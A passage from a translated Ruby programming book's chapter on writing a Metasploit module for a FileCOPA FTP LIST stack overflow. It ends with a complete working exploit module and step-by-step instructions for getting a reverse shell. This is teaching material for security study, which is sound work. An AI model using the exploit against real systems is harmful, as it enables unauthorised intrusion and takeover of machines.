图 10-2. OllyDbg 关于崩溃的 FTP 服务器的报告
现在我们能够通过手动可靠地崩溃程序,并且我们知道我们的信息写入位置,那么让我们在 MSF 中试一试。为此,我们需要创建一个 shell 模块,并使用 1,000 个A作为负载。记住,在 MSF 中,模块和漏洞利用是同一回事。我们将开始工作的 shell 看起来是这样的:
require 'msf/core' module Msf class Exploits::Windows::Ftp::FileCopa_List < Msf::Exploit::Remote include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FileCOPA 1.01 <= 列表溢出', 'Description' => %q{此模块利用了 FileCOPA 多协议文件传输服务中的栈溢出。此漏洞利用需要有效的用户账户(或匿名访问)。 }, 'Author' => 'Steve <Steve@nostarch.com>', 'License' => MSF_LICENSE, 'Version' => '$Revision: 4498 $', 'References' => [ ['OSVDB', '27389'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", }, 'Targets' => [ [ 'Windows 2000 Professional SP4 英文', { 'Platform' => 'win', 'Ret' => 0XDEADBEEF, }, ], ], ] end def exploit connect_login print_status("尝试目标 #{target.name}...") print_status("找到进程并附加 Ollydbg.") sleep 30 buf = 'A'*1000 send_cmd( ['LIST', buf] , false) handler disconnect end end
Metasploit 模块 Shell 的说明
此 shell 包含大多数 MSF 模块中常见的部分。首先是require msf/core。这个require语句使模块能够使用 MSF 核心库。接下来是类声明。由于我们是在远程攻击 FTP 服务器,我们需要模块继承Msf::Exploit::Remote的属性。如果你正在开发本地提权或其他类型的漏洞利用,你需要将此行更改为特定的漏洞利用类型。我们 FTP 模块特有的另一行是Exploit::Remote::Ftp,它使我们可以使用 FTP 方法。这一行抽象了一些命令,例如初始化连接和登录,这样我们就可以专注于编写漏洞利用代码,而不是建立 FTP 会话。
初始化方法是从模块开始形成的地方。逐行检查,我们开始于漏洞的名称和模块的描述。这可以是与你所写模块相关的任何内容。描述将在用户查看框架中的漏洞时显示。描述越准确,以后的混淆就越少。
initialization方法的下一部分包含有关模块作者的特定信息。跳转到payload、platform和targets——这些选项决定了攻击如何运行,要针对哪些平台,以及其他约束。EXITFUNC被设置为thread,这样当 MSF 从受害者断开连接时,只有进程线程会被杀死。此方法将尝试避免在成功的攻击中崩溃被利用的程序,而是仅仅崩溃一个线程。
需要设置有效载荷空间的大小,这个数字对我们攻击至关重要。目前我们将值设置为1000个字符,因为我们没有问题地连续敲击了 1,000 次 A,但稍后我们将修改这个值。接下来是坏字符,或BadChars。随着我们找到阻碍成功攻击的字符,这个列表将会增长。我已经将\x00添加到列表中,因为它表示字符串的结尾,并且是一个典型的坏字符。
initialization方法的下一部分是针对Targets的。我在一台 Microsoft Windows 2000 Professional Service Pack 4 机器上托管 FTP 服务器,所以具体的靶机信息将保存在这里。随着攻击在其他操作系统上进行测试,可以包含更多平台,但到目前为止,我们将靶机限制在我们的一个受害者机器上。这结束了初始化方法,并为模块的其余部分提供了一个稳固的起点。
我们 shell 的最后一个方法是调用的exploit,这就是魔法发生的地方。使用connect_login(它是 MSF 的一部分),我们与目标启动一个 FTP 会话。看看这比使用 netcat 或 Ruby 本身要容易多少?
连接后显示一个默认的状态消息,让用户知道攻击正在进行中,并且目标信息保存在target.name中。因为我们正在针对子进程,我添加了一个sleep函数(持续 30 秒),以便在砸栈之前有足够的时间将调试器附加到进程上。
30 秒过后,我们的有效载荷被创建并保存到buf中。在这种情况下,有效载荷将是 1,000 As。LIST命令和buf都被发送到目标,然后调用handler方法等待目标响应。如果攻击成功,那么handler将捕获响应并控制后续操作。当用户完成会话后,调用disconnect,这完成了攻击。在这个例子中,模块将在send_cmd之后停止,因为A(即\x41)不会进行任何黑客行为;所以不会向handler发送响应。
为了测试您的新 MSF 模块,请将此文件保存为 filecopa_exploit.rb^([3]) 到文件夹 \AppData\Local.msf3\modules 中。然后启动 FTP 服务器、OllyDbg 和 MSF。将 OllyDbg 附加到受害者机器上的 FTP 服务器。在攻击机器上,重新启动 MSF GUI。在 MSF 中,点击 Exploits,搜索 FileCOPA。找到我们刚刚编写的模块 shell(它将包含我们的描述)并双击它。将弹出一个新窗口,询问您想针对哪个平台。由于我们在模块代码中只包含了一个目标,所以我们只有一个选择。点击 Forward。接下来,您将选择 generic/shell_reverse_tcp 有效载荷。现在不用担心有效载荷;我们只是使用 A——而不是实际的有效载荷。点击 Forward 继续操作。在下一个屏幕上,您将被要求输入有关目标和您自己的具体信息。唯一需要的信息是 RHOST,它将是 远程主机 或受害者的 IP 地址。除非您知道某些内容与默认值不同,否则可以保留已完成的字段。MSF 自动检测您的本地 IP 地址,假设 FTP 在端口 21 上,并假设 FTP 服务器允许匿名登录。点击 Forward 按钮,查看信息,并点击 Apply。
记住,我们只有 30 秒的时间将调试器附加到正确的进程;所以您点击 Apply 后,需要找到子进程 filecpnt。在进程被附加并且 MSF 继续执行模块后,OllyDbg 应该在受害者机器上跳出来并显示与之前(当我们手动利用 FTP 服务器时)相同的消息。
^([3]) 如果您使用的是 MSF 3.1,您将看到 filecopa_list_overflow.rb。这是我们从头开始编写的相同漏洞利用,所以现在不用担心它。
寻找有效载荷空间
我提到,有效载荷空间变量对我们漏洞利用至关重要。开发下一步是定义有效载荷。为此,我们首先需要找出有多少空间可供操作。我们拥有的空间越多,我们就有更多的选择,可以决定将多少功能放入我们的有效载荷中。MSF 3.1 中有 104 个有效载荷,每个有效载荷的大小都不同。如果易受攻击的程序为我们提供了有限的空间,那么一些较大的有效载荷将无法工作。我们还需要知道在崩溃之前,栈上的哪个位置被读取为下一个指令。
在我们前两次利用尝试中,OllyDbg 告诉我们,当 FTP 服务器崩溃时,下一个指令指针的地址是 0x41414141。这个地址是我们 A 系列的一部分。为了确定哪一部分被加载到指令指针中,我们需要将 A 系列改为一系列独特且不重复的字符。我们将用可预测的数据填充代码,并查看程序崩溃的位置。这将显示地址是从堆中读取的。基本上,我们将发送独特的数据,读取 OllyDbg 崩溃的位置,然后在我们的字符串中搜索独特且不重复的数据。最终的放置将显示我们获取应用程序控制所需的缓冲区大小。
MSF 附带一个名为 pattern_create.rb 的优秀工具。您可以在 msf3.tar\msf3\tool 中找到它。这个 Ruby 脚本生成可预测且不重复的字符串——这正是我们将用来找到有效载荷空间的东西。因为我们已经将 1,000 用作有效载荷中的字符数,所以我们将使用 pattern_create.rb 生成一个独特的 1,000 字符字符串。以下命令将生成模式并将结果输出到 payload_test.txt:
C:\Users\Steve\AppData\Local\msf3\tools>**`ruby pattern_create.rb 1000 > payload_test.txt`**
下面是 payload_test.txt 的内容:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5 Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1 Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7 Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3 Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9 An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5 Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1 As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7 Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3 Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9 Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5 Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1 Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh
现在我们打开 filecopa_exploit.rb 模块,并将位于 payload_test.txt 中的字符串替换 'A'*1000。新行将看起来像这样:
buf = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac 5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af 1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah 7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak 3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am 9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap 5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As 1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au 7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax 3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az 9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc 5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf 1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'
保存更新的filecopa_exploit.rb文件并返回到 MSF 窗口。要重新加载编辑后的模块,在 GUI 中点击系统 ► 刷新。通过启动 FTP 服务器并附加 OllyDbg 来重置应用程序。按照上述描述运行模块,你应该在 OllyDbg 中看到不同的错误信息。现在将不再是 [41414141] 的访问违规,而是 [66413366] 的访问违规(见图 10-3)。

图 10-3. OllyDbg 附加到 FileCOPA 显示访问违规
我们取得了很大的进展!我希望你开始看到 MSF 如何简化漏洞利用的开发。使用这个新地址并准备使用另一个名为pattern_offset.rb的 MSF 工具。
如你所猜,这个脚本将能够告诉我们调用有漏洞的堆栈空间之前需要占用多少空间。输入以下命令,传递崩溃的地址(66413366)和payload_test.txt字符串的长度(1000):
C:\Program Files\Metasploit\Framework3\framework\tools>**`ruby pattern_offset.rb 66413366 1000`**
脚本会响应我们需要在写入跳转地址之前填充多少空间。在这个例子中,偏移量的大小是 160 字节。
C:\Program Files\Metasploit\Framework3\framework\tools>**`ruby pattern_offset.rb 66413366 1000`** 160
我们需要提供一个返回或跳转的地址,以便我们可以执行自己的代码。由于0x41414141和0x66413366对我们的漏洞利用没有任何作用,我们需要获取一个不同的地址。我使用在线 MSF 操作码(opcode)数据库来获取一个允许我们执行代码的地址。这个网站允许用户搜索任何操作系统的特定操作码。在这个例子中,我访问了www.metasploit.com/users/opcode/msfopcode.cgi/(见图 10-4)。

图 10-4. Metasploit 在线操作码数据库
我随后点击了在模块集中搜索操作码。
我选择了特定操作码单选按钮,并从下拉菜单中选择jmp esp。
显示了一个.dll列表,选择.dll时需要记住的重要一点是,你希望它尽可能通用,或者跨多个平台通用。uer32.dll文件相当通用,这影响了我的决定。
我选择了我的目标机器(Windows 2000 Service Pack 4 - 英语)并点击了下一步。
操作码数据库返回了两个地址(0x77e14c29和0x77e3c256),它们符合我的标准。
漏洞利用几乎完成了,但我们仍然需要构建LIST命令并移除所有会阻碍漏洞利用的坏字符。如果未能从我们的有效载荷中移除坏字符,漏洞利用将失败,因为我们的有效载荷将被应用程序修改。
要找到坏字符,我们需要发送 ASCII 表中的所有十六进制字符,并确定哪些字符在传输过程中被修改和损坏。我们将有效载荷修改为包含int3(十六进制值0xcc)加上0-255重复两次。0 到 255 的重复缩小了修改我们字符的因素——是应用程序中的过滤器试图将坏数据排除在输入缓冲区之外,还是使用了数据作为执行命令的方法?无论如何,我们都希望我们的数据在受害者应用程序的输入缓冲区中不受损害。如果字符只在一个地方被修改,那么假设有一个方法修改了我们的数据。如果有两个相同的字符被修改,那么过滤器可能介入了。使用此命令可以轻松生成字符字符串(C 参数指定pack方法使用无符号字符):
buf = "\xcc" + ([*(1..255)].pack ('C*') *2)
以下对buf的赋值将实现与上面一行相同的效果,但你也可以看到上面一行是多么简洁。我更喜欢简洁的声明。
buf = '\xcc\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\x89\xaa\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xxf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff...'
当在 OllyDbg 中查看崩溃的 FTP 服务器时,我们寻找由我们的模块提供的输入。\xcc或int3是一个软件中断,它会导致 OllyDbg 停止,就像你在代码中插入了一个断点一样。在这个时候,我们并不关心跟踪代码;我们只想确保我们的有效载荷是稳固的。中断暂停执行,让你能够观察 MSF 发送的字符,找出哪些字符,如果有的话,没有通过。如果任何字符被更改、操作或以其他方式不同,我们就从列表中移除它们。
你将知道哪些字符没有幸存,因为流是顺序的,如果发生任何事情,将会有一个字符不在其位。这个过程会重复进行,因为流一次只会揭示一个坏字符。你必须重复这个过程,直到你的流完整到达。一旦发生这种情况,你将找到所有的坏字符。这项耗时的工作将确保编码后的有效载荷正确到达。坏字符在创建 NOP 滑梯(不会滑动到我们的 shellcode 的操作)以及编码有效载荷时都很重要。一个NOP 滑梯是执行时不会执行任何操作的代码段。一个简单的“无操作”命令是0x90,这是计算机操作码,表示“不执行任何操作”。另一个例子是增加一个寄存器,然后减少相同的寄存器,结果状态不变。

图 10-5. 追踪坏字符
您可以从图 10-5 中看到\x0a和\x0d没有被包含。我在这个漏洞利用中发现的坏字符有:
\x00\x0b\x0a\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c
这些被添加到模块中并分配给BadChars。现在,我们将注意力转向exploit方法并完成模块。使用 SPIKE(由 Dave Aitel 编写的开源模糊测试框架)这样的 fuzzer,你可以找到漏洞以及用于使 FTP 服务器崩溃的字符串类型。字符串的长度很重要,因为它将揭示我们在有效载荷中可以放置多少空间。我们还可以查看用于使应用程序崩溃的概念验证的公告。字符串将类似于以下内容:
LIST A BBBBBBBBBBBBBBBBBBBBBB...x 350...BBBBBBBBBB
由于在跳转地址之前没有足够的空间插入我们的 shellcode,我们需要修改我们的buf内容。新的攻击字符串将看起来像这样:
buf = "A\x20" + rand_text_english(160, payload_badchars) buf << [target.ret].pack('V') buf << make_nops(4) + jmp_ecx buf << make_nops(444) + payload.encoded + "\r\n"
分解每一行,A\x20代表字母A后跟一个空格(\x20是空格的十六进制表示)。然后附加 160 个随机字符作为填充。这个数字来自由pattern_offset.rb找到的偏移量。payload_badchars方法确保随机数据中不会出现任何坏字符。然后返回地址被添加到有效载荷中,并通过pack方法转换为可用的地址。V参数将返回地址转换为称为小端字节序的特定二进制序列。
在返回地址之后,我们在buf中添加四个 NOP。NOPs 除了填充空间外不做任何事情。payload_badchars和make_nops方法的区别在于:如果执行make_nops,它不会影响漏洞利用的执行。
恶意字符串的下一部分,buf,很棘手。由于在返回地址之前没有足够的空间放置完整大小的有效载荷,我们使用一个技巧来跳转到有效载荷。这被称为共享库跳跃垫。基本思想是,我们不会直接将指令指针指向有效载荷地址,而是将在寄存器中查找我们的有效载荷地址并将寄存器的内容加载到指令指针中。我们只需要确保寄存器有一个指向 NOP sled 和我们的有效载荷开始的地址之间的地址。
在这种情况下,位于 ECX 寄存器中的地址将被压入堆栈,然后调用return方法。return函数将堆栈上的有效载荷地址加载到指令指针中,并将导致我们的有效载荷被执行。从 FTP 服务器执行到我们的有效载荷的转换是我们正式控制进程的时候。除非这个转换是完美的,否则漏洞利用将不会工作。
我们邪恶的LIST论证的最后两部分是一个相当大的 NOP 滑梯(长度为 444 个字符)和编码后的有效载荷。整个字符串以回车和换行符结束,这会让 FTP 服务器知道我们已经完成了数据的发送。buf包含一个非常长的字符串,但正如示例代码所示,它在每一行都被分割开来。
为了完成漏洞利用,我们的模块通过buf发送包含恶意字符串的LIST命令。结果是获得了一个 Windows 2000 Service Pack 4 的 root 权限机器。如果你从未使用过 MSF,那么reverse_shell连接是一个很好的起始有效载荷。有效载荷会指示受害机器将命令提示符发送到你的地址。handler捕获会话,让你能够完全控制该机器。反向连接的另一个优点是,由于连接是从受害者的网络内部发起的,它很容易绕过防火墙。现在你的模块应该看起来像这样:
require 'msf/core' module Msf class Exploits::Windows::Ftp::FileCopa_List < Msf::Exploit::Remote include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FileCOPA 1.01 <= 列表溢出', 'Description' => %q{此模块利用了 FileCOPA 多协议文件传输服务中的堆栈溢出。此漏洞利用需要有效的用户账户(或匿名访问)才能工作。 }, 'Author' => 'Steve <Steve@nostarch.com>', 'License' => MSF_LICENSE, 'Version' => '$Revision: 4498 $', 'References' => [ ['OSVDB', '27389'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", }, 'Targets' => [ [ 'Windows 2000 Professional SP4 英文版', { 'Platform' => 'win', 'Ret' => 0XDEADBEEF, }, ], ])) end def exploit connect_login print_status("尝试目标 #{target.name}...") jmp_ecx = "\x66\x81\xc1\xa0\x01\x51\xc3" buf = "A\x20" + rand_text_english(160, payload_badchars) buf << [target.ret].pack('V') buf << make_nops(4) + jmp_ecx buf << make_nops(444) + payload.encoded + "\r\n" send_cmd( ['LIST', buf] , false) handler disconnect end endend
MSF 有一些特性可以帮助稍微提升利用过程。我们将在initialize和exploit之间添加一个名为check的新方法到模块中。这个方法将通过分析 banner 来确定目标是否容易受到这种利用的攻击。为此,我们需要知道一个易受攻击系统的 banner 看起来是什么样子的。提醒一下:如果系统管理员更改了 banner,那么这个检查将不会起作用。由于大多数 banner 都保持不变,这通常简化了目标验证过程。
该模块将连接到目标机器的 21 端口,获取 banner,然后断开连接。如果 banner 包含FileCOPA FTP Server Version 1.01,我们知道目标容易受到攻击。如果 banner 检查失败,那么我们可能需要寻找另一个攻击向量,或者我们仍然可以尝试利用。下面是检查方法的代码:
def check connect disconnect if (banner =~ /FileCOPA FTP Server Version 1.01/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end
现在将所有 MSF 模块代码放在一起,你得到一个完全功能的利用:
require 'msf/core' module Msf class Exploits::Windows::Ftp::FileCopa_List < Msf::Exploit::Remote include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'FileCOPA 1.01 <= List Overflow', 'Description' => %q{This module exploits a stack overflow in the FileCOPA multi-protocol file transfer service. A valid user account (or anonymous access) is required for this exploit to work. }, 'Author' => 'Steve <Steve@nostarch.com>', 'License' => MSF_LICENSE, 'Version' => '$Revision: 4498 $', 'References' => [ ['OSVDB', '27389'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0b\x0a\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", 'SaveRegisters' => ['ecx'], }, 'Targets' => [ [ 'Windows 2000 Professional SP4 English', { 'Platform' => 'win', 'Ret' => 0x77E14C29, }, ], ])) end def check connect disconnect if (banner =~ /FileCOPA FTP Server Version 1\.01/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying target #{target.name}...") jmp_ecx = "\x66\x81\xc1\xa0\x01\x51\xc3" buf = "A\x20" + rand_text_english(160, payload_badchars) buf << [target.ret].pack('V') buf << make_nops(4) + jmp_ecx buf << make_nops(444) + payload.encoded + "\r\n" send_cmd( ['LIST', buf] , false) handler disconnect end end end
这就完成了利用。接下来要做的就是测试它。因此,在受害者机器上重新启动 FTP 服务器,并在您的攻击机器上重新加载FileCOPA模块。以下是步骤的简要概述:
-
在 MSF GUI 中搜索FileCOPA。
-
双击FileCOPA LIST Exploit。
-
将弹出一个新窗口。
-
从下拉菜单中选择正确的目标:Windows 2k Server SP4 English。
-
选择一个有效载荷:generic/shell_reverse_tcp。
-
你需要添加
RHOST,即远程主机,以及LHOST,本地主机。 -
点击应用—这将启动利用。
-
窗口将关闭,并在作业面板中显示一个新作业。
-
如果利用成功,你将在会话面板中看到一个新会话。
-
要查看应用后的结果,请点击左下角的模块输出标签。
现在你已经拥有了一个 shell,我们来到了本章开头提到的“管理阶段”。这个例子进行得相当迅速,我总是觉得自己在没有跟随示例的情况下利用系统更耗时。如果你决定自己尝试这些技巧,请记住要有耐心。这是一场永无止境的学习游戏,所以不要忘记享受这个过程。祝你好运!😉
附录 A. 后记
嗯,这是我们通过一系列酷炫的 Ruby 脚本集的冒险之旅的结束。当我们开始时,我建议您记下您关于创建自己的酷炫脚本的任何想法。现在是时候开始您自己的旅程了。我很高兴能和您分享我对 Ruby 的热爱,并希望您将继续使用 Ruby 的力量来解决您可能遇到的问题。这确实是一门美妙的语言。
我很乐意听听您对脚本的评价——比如哪些是您最喜欢的,或者您写的更优雅的例子。通过共享知识,我们都能受益。我知道技术不断进化,尤其是在互联网上,所以如果您在这本书中发现任何错误,请务必给我发邮件。您可以查看本书的网站:www.nostarch.com/wcruby.htm/。再次感谢,并继续编程!
请多保重,
Steve Pugh
steve@pentest.it
关于作者
Steve Pugh 是一位有超过十年编程经验的程序员。他曾担任一家银行软件公司的软件分析师,运营过一个大型网络运营中心(监督 7000 名用户和 130 名网络技术人员),目前在美国政府进行安全研究。本书的大部分内容是在 Pugh 在美国政府为伊拉克北部的政府工作期间撰写的。
印刷信息
《Wicked Cool Ruby Scripts》中使用的字体有 New Baskerville、Futura 和 Dogma。
本书在密歇根州安阿伯的 Malloy Incorporated 印刷装订。纸张是 Glatfelter Spring Forge 60# Smooth Antique,该纸张已通过可持续林业倡议(SFI)认证。本书采用 RepKover 装订,使其打开时可以平铺。



浙公网安备 33010602011771号